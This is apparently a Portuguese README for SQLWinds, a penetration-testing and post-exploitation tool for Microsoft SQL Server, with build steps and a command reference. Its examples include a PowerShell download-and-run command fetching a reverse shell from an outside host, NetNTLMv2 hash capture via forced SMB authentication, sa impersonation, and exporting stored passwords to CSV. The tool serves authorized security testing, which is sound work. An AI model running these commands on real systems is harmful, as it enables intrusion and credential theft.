
SQLWinds - Kit de ferramentas de avaliação de segurança e pós-exploração do SQL Server
Kit de Avaliação de Segurança SQL e Pós-Exploração
SQLWinds é uma ferramenta de linha de comando para testes de segurança e exploração do Microsoft SQL Server. Ela fornece um ambiente interativo para analisar profundamente servidores, elevar privilégios, executar ataques e fazer pivô em redes, tudo com comandos especializados para tarefas como execução de código em memória e exploração de banco de dados SCCM.
Links rápidos:
--integrated) e delegação Kerberos (--kerberos com --user/--pass).xp_cmdshell, Procedimentos de Automação OLE (sp_oacreate) e integração CLR.:memclr).:unc_smb).xp_regread.O repositório inclui um script build.bat para compilação fácil no Windows:
.\build.bat
O executável SQLWinds.exe compilado será colocado no diretório bin\Release\.
git clone https://github.com/blue0x1/sqlwinds.git
cd sqlwinds
msbuild SQLWinds.sln /p:Configuration=Release
# SQL Authentication
SQLWinds.exe --server TARGET\\INSTANCE --user sa --pass Password123
# Windows Authentication (Current User Context)
SQLWinds.exe --server sql01.corp.local --integrated
# Kerberos Delegation (with provided credentials)
SQLWinds.exe --server sql01.prod.corp.local --kerberos --user CORP\\svc_sql --pass SvcPass123!
# Connect and run a single command
SQLWinds.exe --server 10.0.0.5 --user sa --pass pass --run-cmd "SELECT name FROM sys.databases"
sqlwinds> :info
sqlwinds> :dbs
sqlwinds> :users
sqlwinds> :enable_xp_cmdshell
sqlwinds> :xp whoami
sqlwinds> :spn
sqlwinds> help
:plain para Scripts GrandesO comando :plain é essencial para executar scripts SQL grandes e multilinha.
sqlwinds> :plain
SQL>
SQL> BEGIN TRY
.....> SELECT * FROM [VeryImportantTable];
.....> EXEC sp_configure 'show advanced options', 1;
.....> RECONFIGURE;
.....> END TRY
.....> BEGIN CATCH
.....> SELECT ERROR_MESSAGE();
.....> END CATCH
.....> :execute
:plain e pressione Enter.:execute para executar o script inteiro ou :cancel para abortar.1. Auditoria
SQLWinds.exe --server dc01 --integrated --security-audit
2. Usando xp_cmdshell para Execução de Código
SQLWinds.exe --server 192.168.1.15 --user sa --pass pass --enable-xp-cmdshell
# In the REPL that opens:
sqlwinds> :xp whoami /all
sqlwinds> :xp powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.10/revshell.ps1')"
3. Execução CLR em Memória (Sem Arquivos)
# Compile your .NET assembly to a DLL (e.g., CommandExecutor.dll)
sqlwinds> :enable_clr
sqlwinds> :memclr "C:\Tools\CommandExecutor.dll" "CommandExecutor.Class1" "Exec" "whoami"
4. Roubando Hashes NetNTLMv2 via SRelay
# On your machine: sudo responder -I tun0
sqlwinds> :unc_smb \\10.10.15.10\fake_share
5. Exploração do Banco de Dados SCCM
SQLWinds.exe --server sccmdb.corp.local --integrated
sqlwinds> :sccm_info
sqlwinds> :sccm_collections
sqlwinds> :sccm_application "Microsoft 365"
6. Exfiltração de Dados
# Export sensitive data to CSV
sqlwinds> :exportcsv "SELECT username, password FROM users" credentials.csv
# Download a file stored in the database
sqlwinds> :download "SELECT file_data FROM documents WHERE id=1" secret.docx
Aceitamos contribuições! Se você tem ideias de melhorias ou encontrar algum problema:
Esta ferramenta destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal. Os desenvolvedores não assumem nenhuma responsabilidade e não são responsáveis por qualquer uso indevido ou dano causado por este programa.
Desenvolvido por blue0x1.
| Opção | Descrição |
|---|
--server | Servidor alvo (IP, hostname, instância). Obrigatório. |
--user, --pass | Credenciais para autenticação SQL ou Windows. |
--integrated | Usar o token Windows atual para autenticação. |
--kerberos | Usar o fluxo de autenticação Kerberos. |
--spn-check | Verificar no AD os SPNs do host alvo. |
--run-cmd "<SQL>" | Executar um único comando SQL e sair. |
--run-file file.sql | Executar um script SQL de um arquivo e sair. |
--info | Coletar e exibir informações extensas do servidor. |
--getinstance | Descobrir instâncias SQL no domínio e sair. |
--list-dbs | Listar bancos de dados e sair. |
--security-audit | Realizar auditoria de segurança e sair. |
| Comando | Descrição | Exemplo |
|---|
:info | Exibe informações detalhadas do servidor | :info |
:dbs | Lista todos os bancos de dados com detalhes | :dbs |
:tables [db] [schema] | Lista tabelas no banco de dados/esquema | :tables master dbo |
:columns <table> [schema] [db] | Lista colunas de uma tabela | :columns Users dbo MyDatabase |
:users | Lista todos os logins SQL e usuários do banco de dados | :users |
:perms | Exibe as permissões do usuário atual | :perms |
:audit | Realiza auditoria de configuração de segurança | :audit |
:search [term] | Pesquisa dados sensíveis | :search password |
:secrets | Extrai possíveis segredos | :secrets |
:services | Exibe as contas de serviço do SQL Server | :services |
:spn | Verifica SPNs do host alvo | :spn |
:enable_xp_cmdshell | Habilita xp_cmdshell | :enable_xp_cmdshell |
:disable_xp_cmdshell | Desabilita xp_cmdshell | :disable_xp_cmdshell |
:xp <command> | Executa comando do SO via xp_cmdshell | :xp whoami |
:enable_ole | Habilita Automação OLE | :enable_ole |
:disable_ole | Desabilita Automação OLE | :disable_ole |
:ole_cmd <command> | Executa comando do SO via OLE | :ole_cmd "calc.exe" |
:enable_clr | Habilita integração CLR | :enable_clr |
:disable_clr | Desabilita integração CLR | :disable_clr |
:deploy-clr <path> | Implanta assembly CLR a partir de arquivo | :deploy-clr C:\Tools\cmd.dll |
:list-assemblies | Lista assemblies CLR implantados | :list-assemblies |
:clr_exec | Executa um método CLR | :clr_exec MyAssembly MyClass Method arg1 |
:memclr | Executa assembly CLR a partir da memória | :memclr "C:\Tools\exec.dll" "Namespace.Class" "Method" "arg" |
:remove-assembly <name> | Remove um assembly CLR | :remove-assembly MyAssembly |
:list_linkservers | Lista servidores vinculados | :list_linkservers |
:linkrpc <srv> <cmd> | Executa comando via servidor vinculado | :linkrpc LINKEDSRV "whoami" |
:impersonate <login> | Personifica um login SQL | :impersonate sa |
:revert | Reverte o contexto de segurança | :revert |
:agent_job | Gerencia trabalhos do SQL Agent | :agent_job create MyJob "whoami" |
:ls [path] | Lista diretório via SQL | :ls C:\Windows\Temp |
:unc_smb <path> | Força autenticação SMB para UNC | :unc_smb \\192.168.1.100\share |
:plain | Cole scripts SQL grandes | (Veja exemplo abaixo) |
:regread | Lê valor do registro | :regread HKEY_LOCAL_MACHINE Software\Microsoft value |
:regread_all | Lista todos os valores em uma chave | :regread_all HKEY_LOCAL_MACHINE Software\Microsoft |
:upload | Envia arquivo para tabela | :upload C:\file.txt MyTable |
:download | Baixa binário a partir de consulta | :download "SELECT file FROM blobs" out.bin |
:exportcsv | Exporta consulta para CSV | :exportcsv "SELECT * FROM users" out.csv |
:exportjson | Exporta consulta para JSON | :exportjson "SELECT * FROM users" out.json |
:sccm_info | Detecta banco de dados SCCM | :sccm_info |
:sccm_inventory | Exibe inventário SCCM | :sccm_inventory |
:sccm_collections | Lista coleções SCCM | :sccm_collections "All Systems" |
:sccm_deployments | Exibe implantações | :sccm_deployments |
:sccm_clients | Lista clientes | :sccm_clients inactive |
:sccm_audit | Auditoria de segurança SCCM | :sccm_audit |
:sccm_application | Exibe detalhes do aplicativo | :sccm_application "Google Chrome" |
help | Exibe ajuda | help |
exit | Sai do REPL | exit |